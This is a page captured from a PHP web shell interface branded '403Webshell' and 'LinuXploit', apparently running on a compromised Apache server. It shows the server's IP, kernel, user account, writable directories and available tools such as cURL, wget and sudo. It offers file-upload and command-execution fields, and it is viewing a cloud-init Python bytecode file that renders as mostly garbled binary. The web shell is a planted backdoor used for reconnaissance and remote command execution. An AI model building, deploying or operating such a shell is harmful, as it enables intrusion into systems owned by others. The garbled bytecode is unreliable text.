403Webshell
Server IP : 167.235.67.158  /  Your IP : 216.73.216.179
Web Server : Apache
System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : upstairsbar.co.uk ( 982)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_raspberry_pi.cpython-312.pyc
�

�t�h��
�&�UddlZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZeje�ZdZd	Zd
Zddd
dd�ZdZdZddgeegd�Ze
ed<deddfd�Zdefd�Zdeeefdededdfd�Zdededdfd�Zd ededed!eddf
d"�Z y)#�N)�Union)�subp)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE�rpi�
interfaces�enable_rpi_connect�do_spi�do_i2c�	do_serial�
do_onewire)�spi�i2c�serial�onewire�do_serial_cons�do_serial_hw�cc_raspberry_pizraspberry-pi-os)�id�distros�	frequency�activate_by_schema_keys�meta�enable�returnc���tjd|�|rdnd}	tjddt|�g�y#tj$r }tjd|�Yd}~yd}~wwxYw)NzConfiguring rpi-connect: %sr��/usr/bin/raspi-config�do_rpi_connectz#Failed to configure rpi-connect: %s)�LOG�debugr�str�ProcessExecutionError�error)r�num�es   �B/usr/lib/python3/dist-packages/cloudinit/config/cc_raspberry_pi.py�configure_rpi_connectr*%s`���I�I�+�V�4��!�1�C�<��	�	�*�,<�c�#�h�G�H���%�%�<��	�	�7��;�;��<�s�!A�A3�A.�.A3c�f�	tjgd��y#tj$rYywxYw)N)r �nonint�	is_pifiveTF)rr%��r)r-r-0s/����	�	�B�C����%�%����s��0�0�cfg�instCfg�cloudc��ddtdtfd�}d}d}t|t�r||d�}||d�}nt|t�r|}t	�s|rd}	tj
dd	tt|rd
nd�g�	tj
dd	tt|rd
nd�g�|jjd
dd��}tj
|�y#t
j$r }tjd|�Yd}~�bd}~wwxYw#t
j$r }tjd|�Yd}~yd}~wwxYw)NF�cfg_dict�namec��|j||�}t|t�stj	dt
||�|S|S)Nz"Invalid value for %s.serial.%s: %s)�get�
isinstance�boolr"�warning�RPI_INTERFACES_KEY)r4r5�default�vals    r)�get_bool_fieldz2configure_serial_interface.<locals>.get_bool_field;s@���l�l�4��)���#�t�$��K�K�4�"���	
��N��
r/�console�hardwareTr r,rrz'Failed to configure serial hardware: %s�reboot�nowz)Rebooting to apply serial console changes)�mode�delay�messagez&Failed to configure serial console: %s)F)
�dictr$r8r9r-r�RASPI_CONFIG_SERIAL_CONS_FN�RASPI_CONFIG_SERIAL_HW_FNr%r"r&�distro�shutdown_command)r0r1r2r>�enable_console�	enable_hwr(�cmds        r)�configure_serial_interfacerN8s?��
��
�S�
��N��I��#�t��'��Y�7��"�3�
�3�	�	�C��	����;�>��	�?��	�	�'��+���A�Q�/�	
�	
�
	D��I�I�+��-��Y��A�.�	�
��l�l�+�+���?�,�
��
	
�	�	�#����)�)�	D��I�I�?��C�C��	D���%�%�?��	�	�:�A�>�>��?�sB�*D�*C#�/3D�#D�6D�D�D�D�E�,E�E�ifacec��|tj�vr|dk7s
Jd|����	tjddt|t|rdnd�g�y#tj$r!}t
j
d||�Yd}~yd}~wwxYw)NrzUnsupported interface: r r,rrzFailed to configure %s: %s)�SUPPORTED_INTERFACES�keysrr$r%r"r&)rOrr(s   r)�configure_interfacerSzs���
�%�*�*�,�,��(�1B�)�	 ���(�)�B�
:��	�	�'��$�U�+���A�Q�'�	
�	
���%�%�:��	�	�.��q�9�9��:�s�-A�B	�(B�B	r5�argsc���t|vryt|tt�s#tj	dt|t�y|tstjdt�y|tD�]�}|tk(rD|t|}t|t�rt|�ntj	dt|��Q|tk(�r�t|t|t�s'tj	dt|t|�y|t|stjd|�yt|t|j��}d|vr/|j|j|jd���|D]�}|tj�vrtj	dt|��5|t||}|dk(rAt|ttf�stj	dt||�n
t!|||���t|t�r
t#||���tj	dt||������tj	d|����y)NzInvalid value for %s: %szEmpty value for %s. Skipping...rzInvalid key for %s: %szInvalid value for %s.%s: %szUnsupported key: %s)�RPI_BASE_KEYr8rFr"r:r#�ENABLE_RPI_CONNECT_KEYr9r*r;�listrR�append�pop�indexrQrNrS)r5r0r2rT�keyr�subkeys�subkeys        r)�handler_�s���3���
��L�)�4�
0����&�����	
�
	�
��
��	�	�3�\�B���<� �=���(�(���&�s�+�F��&�$�'�%�f�-����.�0F���
�
�&�
&��c�,�/��4�d�;����.� ���%�c�*��
���&�s�+��	�	�;�S�A���3�|�,�S�1�6�6�8�9�G��7�"����w�{�{�7�=�=��+B�C�D�"�
���!5�!:�!:�!<�<��K�K�0�2D�f����\�*�3�/��7���X�%�%�f�t�T�l�;����9�.�"�"�	�3�6�3��F���f�d�+�'���7��K�K�5�*���	�1
�>
�K�K�-�s�3��{=r/)!�logging�typingr�	cloudinitr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�	getLogger�__name__r"rVr;rWrQrGrHr�__annotations__r9r*r-rFrNr$rSrXr_r.r/r)�<module>rjs�����!�#�.�+��g����!����!��-������	��/��*���!�"�� ,�~�	��j��<�$�<�4�<��4��??�	�t�T�z�	�??�%+�??�49�??�	�??�D:�s�:�D�:�T�:�$K��K�6�K�%�K�t�K��Kr/

Youez - 2016 - github.com/yon3zu
LinuXploit